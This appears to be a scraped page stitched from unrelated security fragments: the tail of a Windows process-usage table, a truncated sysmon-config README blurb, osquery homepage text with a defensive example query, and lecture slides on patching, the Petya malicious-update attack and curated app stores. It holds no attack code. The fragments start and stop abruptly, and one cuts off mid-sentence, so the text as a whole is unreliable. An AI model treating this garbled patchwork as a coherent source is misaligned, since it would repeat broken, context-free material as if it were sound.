<td>0.01</td>
<td>32,912 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>0.01</td>
<td>956 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>0.01</td>
<td>5,108 K</td>
</tr>
</tbody>
</table>

CPU Usage: 6.37%  Commit Charge: 74.81%  Processes: 183  Physical Usage: 52.61%
sysmon-config | A Sysmon configuration file for everybody to fork

This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing.

The file provided should function as a great starting point for system change monitoring in a self-contained package. This
Performant Endpoint Visibility

osquery allows you to easily ask questions about your Linux, Windows, and macOS infrastructure. Whether your goal is intrusion detection, infrastructure reliability, or compliance, osquery gives you the ability to empower and inform a broad set of organizations within your company.

Read the deployment guide

or start contributing!

osquery> SELECT uid, name FROM listening_ports l, processes p WHERE l.pid=p.pid;

osquery gives you the ability to query and log things like running processes, logged in users, password changes, USB devices, firewall exceptions, listening ports, and more.

You can perform ad-hoc queries or schedule them, optionally enable file integrity monitoring and process accounting too. More details can be found here.
Patches and Updates

Legacy systems: on demand
  Often neglected ➔ systems remain unpatched and vulnerable

Updating software is not always a trivial process
  Updates often break the system ➔ administrators spend considerable effort in testing new updates before rolling them out
  Sometimes it is even harder for special-purpose systems: ATMs, kiosks, medical devices, industrial control systems, IoT, …
  Patching not always an option!

Recent OSs have switched to more aggressive software auto-update schemes

Securing the software update process is critical
  An attacker can push infected updates ➔ bypass even strict whitelisting protection mechanisms
THE PETYA PLAGUE EXPOSES THE THREAT OF EVIL SOFTWARE UPDATES
Is a Secure OS Enough?

The OS is the facilitator of user applications, but:
   Applications are plagued by vulnerabilities too
   Social engineering is hard to defend against

The OS can provide some extra help
   Mechanisms to prevent (or at least challenge) the exploitation of software vulnerabilities (future lecture)
   Additional security services: firewall, anti-virus, password manager, file/disk encryption, …

Mobile OSs have taken it to the next step
   Allow the installation only of “curated” apps
   OS vendors use manual/static/dynamic code analysis techniques to verify that a candidate app is not malicious
   PC OSs slowly move to that direction too

At the end, it’s the app that handles sensitive user data
   How can we trust it?